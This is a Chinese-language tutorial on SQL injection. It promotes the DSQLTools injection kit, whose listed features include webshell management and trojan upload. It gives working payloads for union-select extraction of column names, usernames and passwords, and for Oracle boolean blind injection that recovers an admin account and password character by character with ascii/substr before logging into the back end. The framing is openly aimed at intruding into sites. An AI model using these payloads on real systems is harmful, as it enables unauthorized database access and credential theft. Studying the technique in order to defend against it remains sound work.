sql注入
- SQL注入:利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,这是SQL注入的标准释义。
注入方式有GET注入,POST注入,COOKIE注入,HTTP HEADER注入等方式,其中DSQLTools利用的是GET注入方式。简单来说它的目标是网址中含有id=xxx类似的动态页面。 - DSQLTools介绍
自创的注入引擎,能检测更多存在注入的连接。使用多线程技术,检测速度飞快,对"MSSQL显错模式"、“MSSQL不显错模式”、“Access"等数 据库都有很好注入检测能力,内集"跨库查询”、“注入点扫描”、“管理入口检测”、“目录查看”、“CMD命令”、“木马上传”、“注册表读取”、“旁注 /上传”、“WebShell管理”、"Cookies修改"于一身的综合注入工具包。
Sql注入形成的主要原因是:
由于程序员的安全意识薄弱,在编写代码时没有对用户输入的特殊字符进行处理,导致将特殊字符附带在参数中直接与数据库进行交互。
sql注入实验
union select
:用于合并两个或多个select的结果集, 但要求列数,返回的数据类型要一致
- 如何知道列数? order by num ; 其中num是任意数字.如3,5等,看页面是否正常显示,正常说明列数>=num
- 如何测试数据类型?
union select null,null,null //null可以表示任何数据类型
union select ‘test’,nul,null //先输入一个字符串进行测试,若能出结果,说明是字符串类型,不能则不是
- 获取到users表的所有字段,在地址栏上输入:
name=’union select null,group_concat(column_name),null,null,null from information_schema.tables where table_schema = ‘users’ --+
,知道用户名和密码字段为name,passwd
接着根据name,passwd字段从users表中查出用户名和密码:
name=’union select null,name,passwd,null,null from users
Oracle手工盲注
Oracle 布尔盲注:
在测试和漏洞挖掘中,并没有出现数据库报错信息,使用测试语句进行测试发现只能通过页面正常与否来判断SQL语句是否执行了,这种情况需要使用布尔盲注,盲注可以使用ASCII(),substr()这种通用组合获取数,
步骤:
-
使用
and 1=1
和and 1= 2
判断有无注入点.
如果前者访问能返回正常的信息而后者不能,就基本可以判断此网站存在SQL注入漏洞.因为后者的1=2这个表达式永远不成立,所以即使传入了正确的参数也无法通过 -
判断一下数据库中的表,网址后加上:
and (select count(*) from admin) <>0
返回正常,说明存在admin表。如果返回错误,可将admin改为username、manager等常用表名继续猜解。 -
判断下该网站下有几个管理员,如果有多个的话,成功入侵的几率就会加大
and (select count(*) from admin)=1
,返回正常说明只有一个管理员。 -
已知表的前提下,判断表中字段结构
and (select count(name) from admin)>=0
返回正常,说明存在name字段
and (select count(pass) from admin)>=0
返回错误,说明不存在pass字段 -
接下来采用ASCII码折半法猜解管理员帐号和密码
判断管理员帐号的长度
and (select count(*) from admin where length(name)>=5)=1
说明:length()函数用于求字符串的长度,此处猜测用户名的长度和5比较,即猜测是否由5个字符组成
.
and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1
说明:substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知97为字符a
相同方法猜解密码
and (select count(*) from admin where length(pwd)>=8)=1
,返回正常,即密码长度为8,此时可以判断密码应该为明文 -
猜出账号和密码后,就可以进入后台登录页面,输入账号密码进行登录了